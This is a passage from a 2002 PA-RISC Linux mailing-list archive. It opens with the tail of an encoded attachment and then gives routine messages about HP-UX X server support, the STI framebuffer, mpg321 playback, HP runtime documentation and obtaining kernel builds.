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
AA==

--W/nzBZO5zC0uMSeA--



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use the X-Server from HPUX und PALinux?
Date: Mon, 07 Jan 2002 09:35:44 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020107163544.D9FE5482A@dsl2.external.hp.com>
References: <3C388C82.6070509@web.de> <200201061918.29886.deller@gmx.de>  <3C389D49.7030301@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620932 492 80.91.229.3 (22 Nov 2014 01:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sven Cronbenberg <sven.cronenberg@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 09:35:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D9FE5482A; Mon,  7 Jan 2002 09:35:44 -0700 (MST)
In-Reply-To: Message from Sven Cronbenberg <sven.cronenberg@gmx.de> 
   of "Sun, 06 Jan 2002 19:54:01 +0100." <3C389D49.7030301@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13623

Sven Cronbenberg wrote:
> I wonder if there could be a chance to get the X-Server
> from HPUX working under PALinux. Would the HPUX
> compatiblity be good enough to have a chance whith
> that?

Well, originally that was the plan John Marvin had but I don't think
he's had time to work on the missing kernel support (ioctl calls for
gfx card drivers). If someone wants to try it and report what's missing,
we might find time to get it working peice meal.  In general, HPUX 32-bit
SOM binary support is in place though no one is regularly testing it.

grant



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mpg321 on 715/64?
Date: Mon, 7 Jan 2002 11:47:43 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB19216284B@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620932 495 80.91.229.3 (22 Nov 2014 01:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:52 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 09:48:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57E58482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 09:48:20 -0700 (MST)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <C3HQ2DQ0>; Mon, 7 Jan 2002 11:47:45 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13624

> Get yourself the latest kernel (>= 2.4.17-pa5) and update to the latest
> mpg321 and it will work perfectly on your machine.
> I tested it myself on my 715/64.
> 
Just tested that myself and it works perfectly..

thanks
Wolfgang



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use the X-Server from HPUX und PALinux?
Date: Mon, 07 Jan 2002 11:01:29 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020107180129.1581837CB8@carmen.fc.hp.com>
References: <3C388C82.6070509@web.de> <200201061918.29886.deller@gmx.de>  
 <3C389D49.7030301@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620932 499 80.91.229.3 (22 Nov 2014 01:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sven Cronbenberg <sven.cronenberg@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 11:01:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2645482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 11:01:32 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 62A7AE00456; Mon,  7 Jan 2002 13:01:29 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1581837CB8; Mon,  7 Jan 2002 11:01:29 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Sven Cronbenberg <sven.cronenberg@gmx.de> 
   of "Sun, 06 Jan 2002 19:54:01 +0100." <3C389D49.7030301@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13625

Sven Cronbenberg writes...

> On many PARISC Systems there is still no X-Windows
> support or X-Windows has to access the graphics card
> via the framebuffer device.

You are aware of the STI framebuffer driver right? You can use that to run X 
on most HP graphics cards. The HPUX Xserver could be much faster but sti-fb is 
currently better than nothing.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC assembly
Date: Mon, 7 Jan 2002 13:39:23 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200201071839.g07IdNoC000344@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620933 502 80.91.229.3 (22 Nov 2014 01:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:53 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 11:39:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17A16482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 11:39:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g07IdP7c000345;
	Mon, 7 Jan 2002 13:39:26 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g07IdNoC000344;
	Mon, 7 Jan 2002 13:39:23 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Jan 7, 2002 01:23:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13626

> This page contains links to various useful documents including the 32-bit
> runtime:
> 
> <http://h21007.www2.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10403,00.html>.
> 
> The document itself is here:
> 
> <http://devresource.hp.com/STK/partner/rad_10_20.pdf>.

Maybe copies of these documents could be made accessible from the PA-RISC
LINUX Tech Documentation page as some of these are hard to find.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Lavender" <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Tue, 8 Jan 2002 06:47:19 +1100
Lines: 26
Approved: news@gmane.org
Message-ID: <014501c197b4$1e1f4dc0$090ba8c0@winnie>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de> <20020107124029.GF25927@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620933 503 80.91.229.3 (22 Nov 2014 01:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:53 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 12:43:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta04ps.bigpond.com (mta04ps.bigpond.com [144.135.25.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69276482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 12:43:02 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.25.78]) by
          mta04ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GPL32U00.3NL for <parisc-linux@parisc-linux.org>; Tue, 8 Jan
          2002 05:49:42 +1000 
Original-Received: from CPE-203-51-24-131.nsw.bigpond.net.au ([203.51.24.131]) by PSMAM04.mailsvc.email.bigpond.com(MailRouter V3.0h 92/10056682); 08 Jan 2002 05:42:41
Original-Received: from winnie (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with SMTP id GAA24687
	for <parisc-linux@parisc-linux.org>; Tue, 8 Jan 2002 06:42:39 +1100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13627

> > You need to build it yourself. You may download a daily kernel source
> > snapshot as tarball from ftp://ftp.parisc-linux.org:21/cvs/ (though,
> >  2.4.17-pa5 isn't  there yet since I committed it yesterday night and
this
> >  directory will be only updated once a day. Wait til' later today or
> >  tomorrow.), or
> > check out the sources from CVS (http://cvs.parisc-linux.org).
>
> Or look in <ftp://ftp.parisc-linux.org/kernels/32/> in a day or two.
> Should find fresh kernel builds there on a daily basis, I think.

There's a kernel there.  Is this just a drop in  replacement?

While I'm at asking stupid questions, what packages so I need install to
build kernels?   I installed the 0.9.3 release, but make and it's pals are
missing.

Generally I have just installed RH and included the dev stuff as part of the
install.

Thanks,

Pete




From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 07 Jan 2002 12:53:57 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020107195357.46BAD37CB8@carmen.fc.hp.com>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de> 
 <20020107124029.GF25927@sleepie.demon.co.uk>  <014501c197b4$1e1f4dc0$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620933 511 80.91.229.3 (22 Nov 2014 01:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Peter Lavender" <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 12:53:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2E49482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 12:53:58 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id AA8C46001AC; Mon,  7 Jan 2002 14:53:57 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 46BAD37CB8; Mon,  7 Jan 2002 12:53:57 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Peter Lavender" <plaven@bigpond.net.au> 
   of "Tue, 08 Jan 2002 06:47:19 +1100." <014501c197b4$1e1f4dc0$090ba8c0@winnie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13628

"Peter Lavender" writes...

